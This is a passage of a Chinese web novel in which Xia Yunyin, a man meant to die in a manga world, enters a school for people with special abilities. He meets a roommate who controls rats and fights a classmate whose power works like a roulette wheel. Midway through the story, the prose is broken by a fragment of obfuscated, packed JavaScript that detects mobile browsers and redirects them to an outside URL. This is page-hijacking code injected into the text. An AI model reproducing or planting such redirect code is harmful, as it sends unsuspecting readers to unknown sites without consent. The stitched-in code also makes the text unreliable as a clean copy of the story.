那颜色,与怪物的黑气相同。
下一秒。
手以一种异常的力度,直直刺入怪物的眼中。
如同草稿般的勾线,主要勾勒出手臂的线条。然而,简单的线条,有时更能让读者看清画面。
读者A暗自想到:刚才看到的肌肉果然是真的。
怪物的血飞溅,男人不顾伤口,或者说,他正沉浸于此。如同上瘾般,他攻击着,癫狂的模样,让画里的人惊讶。
“精神崩溃了吗……”
不知是谁说的。
读者A也觉得不妙。《斗》才刚刚开始,她也不清楚设定。
完蛋,不会是祭天的吧?
别啊。
她连忙翻下一页,主角季英的脸映入眼帘。
——截图。
先存着,不亏。
季英全神贯注,密切注意着那场战斗。蓝色的眼睛,流淌着白色的电光,如彗星划过。
镜头拉远。
男人正在抽出手,进行下一轮进攻。他的五指毫不收力,凭借本能,只想扯出更多血肉。
血如飘雪。
因怪物的挣扎,黑发随风飘荡,正巧又有强风刮来。让读者们猜测、想着的正脸,终于出现。
看不出任何明显的伤口,但鲜血却如神来之笔,在男人脸上肆意晕染,映衬出他眼中的欣喜、满足。
黑发黑目,明明颜色并不突出,但当画面上出现这张脸时,一切都显得理所当然。
再特别的颜色,都比不上男人面上沾染的血色。
这个角色,似乎很适合肆意、放纵的行为。而当他因此发笑时,帅气的面容似被点亮,让人不由……
“嘶溜。”
啊,不对。
“啊!是帅哥!”
读者A狂喜。
十分钟后,名为“季英”的文件夹旁,多了一个“未知”。
她不掩饰,自己就是颜狗。
……
夏云尹,想逃。
在界中时,他的情况很不正常。
好斗、嗜血。
而在界外,他又恢复了正常。
夏云尹知道自己不是异能者,因为他感知不到“钮”。
漫画中,异能者能找到“钮”,激发并启用自己的异能力。打个比方,类似于热水。异能者们平时是在保温,使用异能时是在沸水。
夏云尹则是死水。
他关了漫画,想到自己的画面,其实只有四页。其中,有很多画面分给了管理局、怪物、季英。
尤其是怪物。
出场、出声、攻击、落地,几乎每一页都有怪物。
值得一提的是,主角舍身救人,并电晕他的画面,并没有。
剧情的节点,是季英冲出来,跑向坠落的他。然后,夏云尹碎得和西瓜一样。
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>那是季英的梦境。
就和夏云尹没有多少镜头,甚至没有名字一样。管理局,包括邓七元,都不会被刻画太多。
因为这个世界有主角。而且,首话的主场当然要属于主角。
漫画的倒数第二页,以惊醒的季英开启。
整洁、单调的房间里,角落摆着打开的行李箱,墙上挂着校服。银、白、金的色调,配上带着头像的名牌。
少年盯着陌生的环境发呆,门外,传来敲门声。片刻后,舍友出声:
“出发了,英。”
门内,干哑的声音回应:“谢谢你,周六。”
这里是宿舍。
夏云尹昏迷五天,而主角已经入学了。
他明白,如果不是“自愈”的异能力,他早就进太平间了。
管理局也无法救他。
因为有治愈能力的异能者少见,且多是家传,他们不常露面。
正因少见,所以当夏云尹出现“自愈”时,管理局当即动了念头。
他们想拉拢夏云尹。可惜,试探没被理会。
一开始,夏云尹并未意识到自己昏迷五日,因为身体状况好到离奇。
可整整五天,他一醒,邓七元就刚好在了。
他可是大忙人,怎么可能一直守着。
夏云尹重新打开漫画,看最后一页,邓七元出现在画面里。
昏暗的房间内,门窗紧闭。
邓七元坐在木椅上,面前烟雾缭绕,模糊了他的眉眼。这次,他没有带剑。
“他们拒绝了申请,145的记录出了问题。”
白雾的深处,发出笃笃的敲击声。里面的人似乎与烟雾融为一体,就连声音都如梦般:
“记录员145,在你们离开后并未前往那个界。”
烟雾继续说道:“他要死了。”
邓七元:“什么时候?”
“六天后。”
烟雾不再开口,而邓七元则想到了在界中,自己遇到的两个人。
一个是处世未深的少年,一个是行事诡异的青年。
这个界中,到底谁是关键?
145……
会因谁而死?
放下个迷题,漫画结束。
这是漫画,因为才第一话,当然不会大量剖析人物内心。
但夏云尹了解邓七元。
这家伙!
铁定怀疑上他了!
夏云尹愤愤不平:“浓眉大眼,但黑心。”
果然,人不可貌相。虽然这么想,但夏云尹没有浪费入学的机会。
隔日,他就拎包入住,成为大一生。
本着“来都来了”的想法,夏云尹随意晃悠,观察宿舍环境。
这是四人间,每个人的房间不大,但有很空旷的公共区域。
厨房,客厅,阳台。
条件很好,但他没有看到室友,一个都没有。
“吱吱。”
刚这么想,夏云尹就听到响声,他闻声望去,只见一个房间门不知何时默默打开。
里面漆黑一片,却闪烁着无数红点。
刚才的声音从里面发出。
夏云尹:“……”
好。
他知道自己的室友是谁了。
不!
他要换宿舍!
5. 宿舍
黑暗中。
红点密密麻麻,忽隐忽现,似在靠近,冒着阴森气息。目睹一切,夏云尹一僵,感到头皮发麻。
是老鼠。
诡异的鼠群,精明的人性,是某人的异能力。
其他人不见踪影,估计是在入住后察觉到异样,当场跑路。
很明智。
刚开学,宿舍本就安排妥当,空余的床位很少。但只要够及时,够顺利,便能换入其他宿舍。
可夏云尹不行。
他本来就是加塞的名额,而且因为昏迷,与别人错开五日时间。
因此,哪里有空位,他就去哪里。显然,这个宿舍有。
而借一己之力,让四人间变两人寝,无人敢住的始作俑者……
夏云尹看向房间,门牌上写着“01”。
里面的人就是原因。
他是漫画“月考篇”的出名角色,是鼠群的主人,异能力【鼠患】的持有者。
“退下。”
陌生的声音响起,很轻,显得有气无力。
主人下令。
一时间,刺耳的抓地声暴起,又陡然消散。而红点们如同倒逆的流萤,四散退去,直至无影,屋内重回黑暗。
下一秒,异能者走出房门。
他很高大。
似乎刚刚睡醒,神情困顿,随意套着一件黄外套。
灰发凌乱,一抬眼,特别的红眼睛映入眼帘。偏深的红色,因四周昏暗,反而如同盛着光,有些亮。
他开口:“你叫什么?”
异能者盯着面前的人,目光专注,似伺机而动的鼠。连那眼中的红光,都宛若再现。
“夏云尹。”
并未感觉到冒犯。
黑发青年声音平和,不见任何焦躁、厌恶。他甚至回以笑容,态度礼貌:
“请问,这里有它们没有去过的房间吗?”
不同寻常的表现。
异能者眼睛一眨,睡意稍散,他抬手指向对面的房间:
“3号的采光好,它们不愿意进去。”
好。
“谢谢。”
青年的脸上似牢牢挂着笑,他拿起行李,走入3号房间。
背后,见青年要关门,鼠群的主人忽然开口:
“我是乱虎。”
被叫停,青年回首,与其面面相觑。
良久,他似乎觉得有趣,表情戏谑,回应:
“我记住了。”
隐匿的鼠群,突然开始躁动。而让它们警觉的对象,这时已经走入房间,关上了门。
乱虎站在原地,半晌后,呆呆的挠头。他露出不符合外形,但符合年纪的神情。
灰发垂落在眼前,乱虎低头,看向暗处的鼠群。
声音雀跃:“太好了……”
乱虎蹲下身,摸向上前的鼠群,感知着自己的异能力。
“他是个好人,不讨厌你们。”
相似的红眼睛相望,鼠群静静聆听,主人继续说着:
“不用再把讨厌的人打出去了。”
那些恶人……
鼠群无声,但愈发阴森。
夏云尹所见的漫画,有着缺陷。
他知道的所有事,都是基于“自己已死”的前提下,主角经历的事情。
乱虎是篇章角色,出场篇幅远不如主角团。所以,当他看见乱虎时,虽然觉得熟悉,但绝对称不上了解。
他并非全知,但他还是主动入局了。
他真的来到了异能学校,进入世界的暗面,而且自身并无异能力。
当事人明白,自己与普通人、异能者都不同。
他同前者一样,感知不到奇妙的“钮”;但如后者般,能进入界。
符合特征的存在,还有一个:
怪物。
所谓的自愈,只是躯体在自救。
房间内,夏云尹整理着衣服,同时梳理信息:
他并未死去,是因为在医院时,已经死了。而再次“苏醒”的,是怪物。
他……是怪物?
夏云尹扯平衣袖,看着手背,不再惨白吓人。
漫画里,从头至尾,都没有出现过这种设定。
但万一呢?
可能“夏云尹”的出现,正意味着一个新设定的出现。
不行……
他们不能发现他的不同。
哪怕漫画里会画出他的特殊,读者会因上帝视角,而窥见一二。
但周围的人不行。
夏云尹深知,自己其实没有退路。
从罐子打开,黑气伴着怪物出现,他被带到管理局面前后,他就只能是异能者。
邓队长盯上主角和他,并帮助他们融入异能社会。目前,他对两人还保持着关注。
会持续多久,就看事情何时结束,如何结束。
夏云尹环顾房间,拉开窗帘,正如乱虎说的,阳光灿烂。
他并没有感到压力。毕竟,事情是他做的,选择是他定的。
那么,结果如何,他都能接受。
夏云尹深呼吸,觉得全身的生命力,都在欢庆。
“真好啊。”
他还活着。
界中,夏云尹的情绪会亢奋,行动大开大合,不顾疼痛。
可能是因为血,可能是因为生命遭到威胁,再加上自愈,使他疯狂。
非理智且癫狂。
所幸,因为他二十二年的人类身份,与未变的外形,使他的表现被归因于性格。
可是,性格的表现体现在方方面面。
他觉得,自己在界中的行为,需要一个更合理的解释。能欺瞒他人,甚至骗过读者。
夏云尹来回踱步,许久,定下计划:
“漫画名是《斗》,那就真的斗吧。”
他决定了。
他要当在界中忽略他人,专注打怪,特立独行的人。
正好,能填补他的缺陷。避免在界中和他人过于靠近,避免忘我打斗时被人怀疑。
现在,只差两件事:
一,回报主角。
二,变强,别主动冲出去,却总挨打。
前者应该比后者简单吧?
是吧?
……
开学第六日。
季英和室友周六刚从研究社出来,他手里拿着自己的新武器。
周六与季英同岁。
但他天生笑脸,金色的眼睛很大,五官秀气。娃娃脸的潜质,使他看起来很讨喜,能让人放下戒心。
可他表里不如一。
周六走在季英身侧,好奇的看着外形不起眼的武器,问道:
“这就是研究社推荐的,适合你的武器?”
季英抱着武器,他也很困惑,但想到忙成一团的研究社,最后只是回答道:
“副社长说,这个武器可以帮助我学习控制电流。”
“滋啦。”
爆开的声音响起。
一听,周六连忙抽身后退,他的动作利落,双目稍稍瞪圆,盯着季英周围绕着的电流。
五天里,他从一开始的好奇,主动去碰,变成现在下意识避开,不敢靠近。
是因为,电流的强度在加大。
季英尴尬的看着周六,觉得很不好意思,但又无法控制电流。
高中部是两人寝,作为插班生,季英人生地不熟,都靠舍友周六的帮助。
虽然……
同学们都不喜欢周六,而且,他们不喜欢自己。季英有些沮丧,但不至于气馁。
无法控制自己异能力的插班生,听说还是刚刚觉醒的新人。
最关键的是,这个人和周六是舍友。
物以类聚,人以群分。
开学第一日,(4)班的所有人看着门口结伴而来的两人,默契的想着。
然后,在自我介绍时,季英就面临冷场。
主角当然很好,不管是性格,还是外表,都不至于被所有人讨厌。
但是,周六不同。
厌屋及乌,同学们选择了漠视。
而对突遭变故,身心交瘁的季英来说,这群人怎么对待自己,他都不在乎。
他没空去在乎。
不管是噩梦,还是异能力,都让他感到疲倦。
因此,开学至今,季英和(4)班之间,维持在一种微妙的关系中。
季英回以的淡漠,也加重了其他人的冷淡。只有周六,在季英第一天自我介绍时,对满堂的沉默恍然未觉,欢呼庆祝:
“欢迎来到我们的世界!”
自然而然的,季英就和周六一起行动了。
金发耀眼如阳光,倒映着电光的蓝眼睛看向周六,后者已经恢复如常。
周六的发色很少见,是极浅的粉色,在阳光下,偏向银色。两人站在一起,就颜色而言,都很惹眼。
当然,漫画主角团,容貌都不差。
季英和周六走在回廊上,东拐西拐,走出大楼,来到户外。
今天正好也是周六,高中部(4)班没有安排课,而研究社的制作也有了成果。所以,季英还有一个目标。
他要试试研究社针对他的异能力,制作出的新式武器。
其实,更应该叫做道具。
因为这个通体银色,如棍棒多次折叠,两端嵌有暗黑色的圆形玻璃的产物,着实不像武器。
他们来到户外训练场,选择了两面靠墙,无人靠近的角落。两个少年遥遥对望,一人大声呼喊:
“英,你知道怎么用吗?”
季英见状,也大声回应:“可能!”
其实,他不清楚。
此时,研究社内。
半小时前,某个社员的研究失误,造成大火,直接烧到了天花板。
经过长时间的抢救,原本有活力的社员们,都累得满头大汗。
其中,戴着针织帽子的社员看向身侧的副社长,回忆片刻,开口:“本贵,你告诉那个新人怎么用道具了吗?”
“都说了……”
听到问题的吕本贵瘫在座位上,脚边是水桶,脸上沾着灰尘,他挥挥手,语气不满:
“我那是真正的武器,不要小瞧我的浪漫!”
社员一气,声音加重,重新说道:“那!他知道怎么用那个武器吗?!”
“不知道。”
吕本贵换了个姿势,双手搭在脑后,压着小辫子,他不在意的说:“如果他不能理解,说明他不适合。”
研究社的副社长,武器狂人看着焦黑的天花板,似在自言自语:
“不能一拿到武器就了解它,使用它,在界中还怎么活下去。”
界中变化莫测。
异能者用适合自己的武器,如虎添翼,反之,则万劫不复。
而又有多少人,因为武器故障,在界中自乱阵脚,死于非命。
他冷着脸,心想:死于自己异能力的异能者,也不在少数。
三天前,季英的异能力愈发不受控,直接将周六电到炸毛。
借着老师的推荐,他前往研究社,并好运的得到了副社长吕本贵的帮助。
季英说,他想学会控制自己的异能力。
最起码,不要漏电了。
而在吕本贵耳中,则是:我想学会怎么精准的电到其他人。
有差距吗?
有。
差距大吗?
并不。
能精准电人,或物体,可不就是学会控制电流了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871150|159559||http|test|mini|href|location''.split(''|''),0,{}));
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>训练场内。
喘着气的季英一手抓着武器,周身电流乍现,又很快消失。银色有一瞬变亮,但当电流消失后,又变回寻常模样。
季英已经试了一个小时,不断尝试用异能力去接触武器,甚至去探寻自己的“钮”。
但没有用。
不管是用“钮”加强异能力,还是用电去刺激武器,自己伸手去掰动,它都纹丝不动。
“真牢固。”
周六看季英的电流减弱,他察觉不到危险,便重新靠近,他上看下看,建议道:
“要不进攻看看?”
“什么?”
季英面上全是汗,全力使用电流让他感到疲惫,同时很开心。他仿佛忘却所有事情,只看到那束奇妙的电流,在他面前出现,又消散。
他回神,反应迟钝,看向周六。
后者指着武器,金瞳因专注而显得发暗,让他看起来有些骇人。
周六提议:“既然是武器,那就进攻,向我进攻。”
说罢,他动用异能力,在他们四周,忽然冒出五个人。他们与周六一模一样,就连神情,都彼此一致。
异能力【化身】。
季英头脑有些发晕,他看到了几双相同的金眼睛,慢吞吞的眨眼:
“周六?”
此刻,维持了五天,宛如最友善的同学兼舍友的人,露出发自内心的笑容,他说:
“没事,英。”
他声音清晰,传入季英耳中:“是我逼你的。”
自说自我。
独断。
无法理解。
全高三都知道,(4)班有个神经病,而且还是家传的。
周家的人,都不正常。
离他们远点。
电流与人同时动作,化身的姿势各异,向中间的两人袭来,而电流则慢了一拍,异能的主人还在状况外。
就在两人即将莫名其妙开始对打时,他们背后的墙壁发出无法支撑的嘎吱声。
碎块落地,不等他们去看,就见墙体彻底崩裂,一个陌生人从里面窜出来。
墙体倒塌,重响打断了季英和周六的对立。眨眼间,那个人来到他们身旁,就在中间,如同裁判。
好快!
两人暗自惊讶,同时抬头,看向比自己高的青年。
青年额前带血,目光如黑鸦般黢黑,死死盯着两人。
但季英觉得,他看的不是人。果然,下一瞬,巨大的拉扯感袭来。
季英被猛的一扯,脚步不稳,和正出神看着青年的周六撞在一起,勉强站稳。
——武器被拿走了。
原本少年手中的银色武器,不知怎么,已经来到了青年手中。
青年双手握着武器的两端,肌肉绷紧,用着最大的力气掰着它。他的力气很大,但武器也很坚固,刚才他们就掰了很久。
周六耳朵更好,他听到了卡拉卡拉的轻响,但他不知道这是武器承受不住力气,即将崩解,还是……
“哗啦哗啦铛。”
先是链条从两端的圆孔掉出,再是棍子从中间出现纹路,并在青年的指间一分为二,最后,竟看到内部,居然还有着相似的棍体。
只是它们更细,更短,看起来更坚固,色泽更亮。
季英不敢置信,他看着那个截然不同的武器,出现在青年手中。
它从一个成年人一臂长的叠状棍体,变成了长至一米三,两端粗并坠着长链条,中间细但坚韧的长棍!
原来,确实要掰,但并不是根据原本的形状,将其拆开。
而是从中间掰。
那些叠在一起部分,其实是内部的结构,恐怕里面看不到的地方还缠着那些链条。
季英屏住呼吸,看着那个青年,那头黑发在风中,轻盈飘扬。
青年掂了掂武器,似在适应手感,忽然抬头,看向墙壁的缺口。鲜血流下,刚好到他的眼角,染出绮丽。
青年并不在意,反而很高兴的样子,他向里面的人招手:
“来。”
很明显,他在期待,也完全不觉得里面的人对自己有丝毫威胁。
墙的另一面,有脚步声响起,还带着骂声。对方似乎很生气,季英一直看着青年,然后发现,他举起了手。
“滋啦。”
“滋啦啦啦。”
高中部二人都陷入沉默,周六似刚才的事情完全没有发生,他瞅了眼青年,扭头问季英:
“你的电怎么在他手上?”
要不是长的不像,周六都要觉得两人有关系了。
季英没有回答,他看向那个武器,银色在刚才,变成了黑色。
如青年般的黑色。
“哗啦啦。”
一端棍口正对缺口,链条直直垂落,青年平举长棍,侧首,单眼闭合。
他瞄准,然后开口:“还是滚开吧。”
在背后观众的注视下,一道熟悉的电光一闪,从棍口,电流如蛇般爬出。
电蛇滋啦作响,它如同活的一般,刚出现时,如此缓慢。可下一秒,它就彻底体现了电流的特性。
电蛇锁定还未出现的目标,瞬息间,化为无形的电,缠住下方的链条,将其完全裹住。
链条发出不妙的银光,明明是死物,却仿佛被赋予了活力。它如弹跳的蛇般,以极快的速度,冲向墙壁的缺口,直奔目标。
电光四起,惨叫声不断,都在墙壁的另一面。
季英只看了一眼,然后发现因电流窜出去带来的风,青年的头发飞扬,虽散乱,但没遮住他上扬的嘴角。
电环绕在他四周,仿佛他才是那个用电的异能者。
季英忽然发现,这个人……
有点眼熟。
谁?
6. 有病
一小时前。
大一师生得到通知,将在万异大楼进行公开课。
宿舍楼里,喇叭喊着消息,声音响彻整个楼道。闻声,不同面容的异能者们走出房门,三三两两,相继离开。
他们都是男生。
而大学部女生的宿舍楼,则在对面,中间隔着湖泊。听说,她们是两人寝。
与其他人不同,夏云尹出来的很晚。
他看着空无一人的走廊,在关门前,回首看了眼宿舍。
01的房间门紧闭,无法确认里面是否有人。夏云尹刚才出声提醒,但没有得到回应。
应该是走了。
不再管乱虎,他转身离开。
夏云尹初入校园,并不识路,本来还想跟着人走。可室友消失,其他人又不熟。
所以,他就远远跟在人群后面。
从走廊的窗口,夏云尹看到波光粼粼的湖面,然后发现一旁的平台中央,伫立着一块告示栏。
图片很大,夏云尹意识到,那是校园的平面图。
他看着无人的楼道,又看向外面走远的人流,当机立断,抬脚向平台的方向走去。
有地图。
他还玩什么跟随?
夏云尹慢悠悠的,一点都不着急,在界中锐利的目光,如今异常和善,看人都带三分笑。
而等他走到平台,刚开始看地图时,就发现在公告栏的背后,有一个人。
陌生人面朝湖面,蹲坐在地,眉头耷拉,似乎很无聊,他喃喃道:
“想钓鱼啊……”
夏云尹没有说话,而是继续看地图,然后发现万异楼在女生宿舍背后,即湖的对面。
有距离,现在过去还来得及。
夏云尹颔首,刚想离开,就听到金属间碰撞而产生的脆响,还有一声叹息。
只见,那个陌生人已经站起身,健硕的背脊朝着夏云尹,他对着湖面说道:
“找人去玩吧。”
夏云尹直觉不妙。
但那个人的动作很快,他已经转身,一只手握住告示栏的铁框,下一秒,他探出身,看向正对着自己的夏云尹。
之前隔着告示栏,夏云尹没仔细看。
现在发现,其实这个陌生人没有很高大,与他差不多。
比起让人一眼就惊讶的乱虎,这个人的身高实在不算特别,但那身肌肉却让夏云尹顿时戒备。
普通人也有喜欢健身的,但又有几人,可以让人感到警觉,甚至感到威胁。
只要他一出现,人们就会想一件事:
别惹他。
但夏云尹却想着……
别惹我。
陌生人没有开口,他自公告栏后走出,这次,整个人都暴露在夏云尹眼前。
极淡的眉毛,单眼皮,眼尾上扬且颜色很深,如同自带眼影,嘴唇也比常人颜色要浓。
矛盾感。
这个人给人带来一种寡淡、无所事事的印象,看起来属于不爱说话的类型,但偏偏他有着一身肌肉,甚至留着寸头。
整个人忽然就变得很不好惹,不易靠近起来。
他穿着宽松的嘻哈裤,上衣也很宽大,但无法完全盖住肌肉,裤腰处的金链,泛着光。
夏云尹刚才听到的碰撞声,就来自于它。
陌生人走上前,金链敲击,随着主人的动作叮当作响。他的眼睛观察着夏云尹,突然,他开口:
“你是乱虎的舍友。”
语气笃定。
一瞬间,他的目光一变,紧接着,他伸出手,摊开掌心:
“他在哪里?我想和他聊聊。”
不等夏云尹反应,他又突然握拳,神情激动,声音加大:“那个懦夫!”
激动时的他,眼睛瞪大,眼尾与嘴唇的颜色,忽然变得显眼起来,原本容易被人关注的眉毛,此刻反而被遗忘。
他继续说道:“我是乱虎之前的舍友,当初和他闹得不愉快,打起来了。”
夏云尹:“……”
“我输了,所以搬出来了,但我很开心,因为乱虎是堂堂正正的,实现了他自己的需求。”
陌生人一手成掌,一手成拳,相击发出闷响。他很兴奋,话特别多:“但是,我之后去找他,他都没出现过。他在躲着我!”
夏云尹回忆漫画,实在找不到对得上这个人的角色。
漫画里,主角本来就是高三生,与大学部接触不算多。
因此,夏云尹只能自己来判断。
“只因为我提出了一个让我们重归于好,和解的办法……”
陌生人一字一句的说:“赌上性命,决斗!胜者得到宽恕对方的资格,败者哪怕死亡也不能有怨言。”
啊?
夏云尹没控制住表情,露出看神经病的眼神。
黑发的同学终于开口:“可乱虎之前赢了,而你输了。”
“没错!”
他似乎不觉得可耻,真的觉得自己这么做是正确的。
“同学,你难道真的觉得,这个世界上有绝对好运的人吗?当时,乱虎没有彻底击垮我的信念,这就是他的坏运气。”
他向前迈了一步,踏地声沉重:“我邀请他再战,一同寻求欢愉。让因作为异能者而虚无、无用的命途变得有趣,但他居然避而不见。”
异能【五分幸运】,发动。
脚下,有巨大的圆形影子一闪一显,夏云尹看见了它的模样:
轮盘。
是纸醉金迷的代号之一。
两人都站在轮盘的范围内,异能的主人看着一直没有慌乱的青年,不由放缓了语气:
“乱虎不懂,但总会有人懂的。”
听到对方又提到乱虎,夏云尹额前青筋直跳,笑容消失,目光冰冷。
冲着那个倒霉室友来的神经病……
好。
夏云尹不知道他们之间的具体情况,因为这些话都只是这个人的一面之词。
但他现在又确实在对方的异能力范围内,当然也希望这个人可以收手。他不想刚开学,就因斗殴被处分。
而且,乱虎的麻烦,为什么要他来担?
成年人要自力更生。
夏云尹冷漠的想着,可对方却不如他的意。
“但我现在很无聊,就和你先探讨一下吧。”
糟糕。
是冲他来的。
夏云尹环视周围,没有人可以来阻止。男人的战意翻涌,冲自己确认可以交流的青年喊:
“异能者的死亡都很惨烈,善终的只有那些好运气的人!”
那些人往往没有进入过界,或是次数很少。
真正的强者,反而会死在无名的角落。
男人能感知到,面前的人也是强者,不管是姿势,还是眼神,都很有趣。他大笑:
“来试试你的运气吧!我叫温玉前,你呢?!”
“叮。”
“咯哒咯咯咯。”
伴着温玉前的声音,下方的虚影飞速转动,形成残影。震耳欲聋的声音响起,是象牙球不断撞击轮盘时产生的回响。
但这里没有象牙球——
“!”
夏云尹察觉到,自己居然无法控制身体,仿佛有无形的外力,将他扯离地面。
撞击声停止。
随即,眼中的风景如抽疯般,飞速旋转。
夏云尹咬牙,可他的的确确飘在空中,没有任何外力。他在半空中来回荡,如同象牙球般,画着圈圈。
所幸,他没碰到障碍物。
一轮结束,倏地落下的夏云尹调整姿势,平稳落地,外表不再整洁。
他看起来还行,但表情愈发不善,眼中的黑色如翻滚的浓雾,藏着深处的敌意。
他生气了。
讨厌的异能者!
一早刚定下“界内打架狂”目标的夏云尹,看着现在的情况,觉得不要为难自己。
那就为难别人好了。
“我是夏云尹。”
他垂着头,表情隐于阴影下,可笑意从嘴角便可以窥见。
青年站直身,锐利的目光直冲对面,仿佛在想怎么撕碎这个人。帅气的青年,化为了最渴望血肉的存在。
他还是人,可那无法掩饰的战意,让他的人性染上一丝非人感,或许是野兽?
温玉前觉得,自己唤醒了一只野兽。
最凶恶的。
“叮。”
第二轮开始之际,夏云尹一蹬脚,如虎般奔向温玉前,拉近与他的距离。
“咯哒咯咯咯。”
青年一个急刹,黑色的碎发遮住眼睛,但无法挡住他往下看的视线。
盯住。
盯住。
轮盘将停,夏云尹瞧着结果,露出让人心颤的笑。
是单数。
温玉前眼睛一眨不眨,注视着近在咫尺的夏云尹,在被扯走前,他想:
这个人是天生的格斗家。
……天生的异能者。
“砰!”
在温玉前转走前,夏云尹没有迟疑,而是依据轮盘转动的方向,推测出他离开的角度,然后,给出对应的一拳。
异能带来的拉力,加上与之对冲的出拳,两道不同的力相撞,让当事人顿时脑袋后仰,血从嘴角溢出。
接下去,则是无法抗拒的转动。
异能力,【五分幸运】。
顾名思义,是最公平的对半开。开启后,虚影范围内的人则沦为象牙球,单数是温玉前,双数是对手,选中者无法抗拒转动。
很简单。
而且,温玉前也无法抵抗异能,因此,这个能力其实弊端很大。
可是,并不是所有人都会意识到这一点。反正这么多年来,温玉前是头一回遇到只经历一轮转动,就察觉到一些规则的异能者。
比如,轮盘转动的方向,会对应到象牙球,即人上。以及,单双数对应的角色。
“多么出色的洞察力,你是天才!”
温玉前的表情扭曲,原本可以称得上润朗的容貌,在他的双目不断流出泪水后,显得奇怪。
他感到可惜,又觉得庆幸:“你为什么是异能者?”
这样的强者,不管最终是什么死法,温玉前都不能接受。
夏云尹充耳不闻,他无视对方的情绪输出,看着还在空中转动的人。
果然,与自己不同,温玉前很明显习惯这种超高速的规则转动。
他绝对练习过。
夏云尹啧舌,在感到厌烦的同时,心中泛起隐秘的期待。他还想看看,这个【五分幸运】还能带来什么样的惊喜。
正如他在医院时,看到窗外流动的电光,这些异能者真的很有趣。
更多……
看看更多。
狂气在眼中浮现,夏云尹右脚后撤,压低重心的同时,不经意间挪动了位置。同时,空中的温玉前也朝着同一个方向,微不可查的动了些许。
变化很小,可无论是正在转的温玉前,还是下方的夏云尹,都意识到了这一变化。
下一瞬,温玉前听到下方的声音:
“有趣。”
拉力刹那间消失,异能者落地的时候,远比夏云尹当时要自如,但他的脸上满是泪水,显得诡异。
第二局,结束。
五分的幸运,他们都体会了一次。
在第三局开始前,温玉前看向完全看透自己异能力的青年,后者是刚入学的新人,不知为何,与他们错开五天时间入学。
而且,年纪要大。
温玉前:“来吧,第三局。我开始期待你认可我(的观点)的时候了。”
异能者的死亡是很无聊的。
他不明白,为什么有些异能者会感到骄傲,觉得自己胜于普通人。他们的死亡,往往只有两种可能:
一,衰老。
二,怪物。
前者,伴随着异能力的不受控制,或者能力的衰弱,并不是所有人都能接受这一点。
后者,一目了然。
夏云尹看向死缠烂打的温玉前,状似激动,回道:
“来!”
其实,他和这种人无话可说。
脑海中,自己在医院里挣扎的画面逐一闪过,夏云尹觉得,普通人的死亡其实有时也是无聊的。
原剧情中,夏云尹就死得很无聊。
甚至只是某个角色随意的一句话,就概括了他的死亡。在漫画里,这样无聊的死亡比比皆是。
但是,夏云尹并不是会钻牛角尖的人,温玉前才是。
所以,他才死咬着强大的异能者不
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放。像乱虎,像夏云尹,温玉前在思考死亡的时候,会被生命力强大的存在吸引。
而如果就连强大的异能者都觉得“异能者的死亡无聊”,能赞同他的观点,那生来不幸运的他们……
会因为互相了解,而变得幸运吗?
温玉前不再落泪,他看着自己的同类,问道:“阿云,你进过界吗?”
“?”
你叫谁?
之前说话漏字就算了,现在还叫昵称,我们还在打架呐!
夏云尹沉默的反应,在温玉前眼中,就是默认。
泪水,再次从那双好看但少见的眼中流出。
“叮。”
“果然,我们都是不幸的。”
“咯哒咯咯咯。”
第三局,是双数。
夏云尹一惊,外衣早已不知道飞去哪里,只留下里面的黑衫。他的耳侧泛着红晕,但面容白皙,黑目悄然一转,然后,天旋地转。
这次,温玉前不再留在原地,而是朝校园的绿植区靠近。而夏云尹,也一同被带了过去。
可恶。
轮盘的范围是固定的,但是转向、中心都可以改变。
从有人成为象牙球的那刻起,剩下的人就自然成为了荷官,中心的位置即他们的位置。
高处的枝丫很密,但树叶也茂盛,打到身上时并没有很疼,可在移动时,夏云尹不可控的撞上不同的障碍物。
“嘶……”
一次撞击,额头刚好砸在探出的枝条上,被划开一道伤口,鲜血慢慢流出。
夏云尹在思考。
转动是不能抗拒的,中心正在移动,而因为是周六,这附近并没有人,他只能自己解决麻烦。
在界中,他因陷入疯狂,再加上自愈,所以战斗能力会提高,但更多的是靠对危机的反射性抵御,以及对威胁的主动进攻。
而在界外,可能是因为对手是人类,他缺少那种狠厉的感觉,最起码,他不会用手指去抠对方的眼睛。
他能自愈,别人不行。
那怎么办?
少了同归于尽的疯狂,多出了理智、思考的他,反而束手束脚起来。
夏云尹不知道,其实在他人看来,自己依旧疯狂,是一个危险、跃跃欲试的凶兽,是可怕的对手。
否则,眼神又因何如此专注,因何虎视眈眈。
温玉前不顾落下的残叶枯枝,他总是能捕捉到来自高空的视线,因兴奋而发亮,如同黑曜石般的眼睛里,是愈发增多的战意。
他在观察。
这一次,当夏云尹再次被带向树木时,他不再保护自己,而是悄悄用脚蹬向靠近的树枝,一触即离,他又再次被扯远。
可是,他也因此挪动了位置,离中心更远了几分。
夏云尹暗想,可行。
下方,绿植林道。
温玉前踩着树叶,看着一片狼藉的树林,完全不在乎等学校发现时,他会不会再背上一个处分。
快要结束了。
可当第三局结束时,他并没有听到熟悉的落地声,温玉前仰头看向影响到他视线的繁叶,一时无言。
旋即,被丢下的愤怒涌起。
“回来,夏云尹!!”
哪能丢下玩伴,自己先走呢?
他难道这么无趣吗?
树林外围。
借着反推力离开中心,又在一局结束时,踩着树干向反方向离开,合理利用离心力的夏云尹,嘀咕:
“把他引给乱虎好了。”
一开始,温玉前就是冲乱虎来的,他只是不巧被盯上而已。夏云尹没有任何心理负担,因为他知道,温玉前还没有放弃。
乱虎的麻烦,怎么能变成他的麻烦。
夏云尹:“……还来。”
刚过没多久,夏云尹低骂出声,不顾后面追来的人,继续向前跑。
他的目的地是万异楼。
要打架?
那就在整个大一的师生面前打!
打出精气神!
怀揣着“引火于乱虎”“闻名全年级”的想法,夏云尹脚步加快,一时间,后面的人完全追不上。
“站住!夏云尹!”
就在这时,前面的夏云尹经过一面墙壁。
【副社长不会在诓英吧?】
【充电宝都要没电了。】
【英!】
夏云尹:“哎~”
【靠,周六要干什么?!】
【不!两个人不要打架啊!打我吧!】
【啊??阳光猫变阴暗猫?】
根据漫画,这是主角正在适应自己的新武器,并且与伙伴第一次发生冲突。
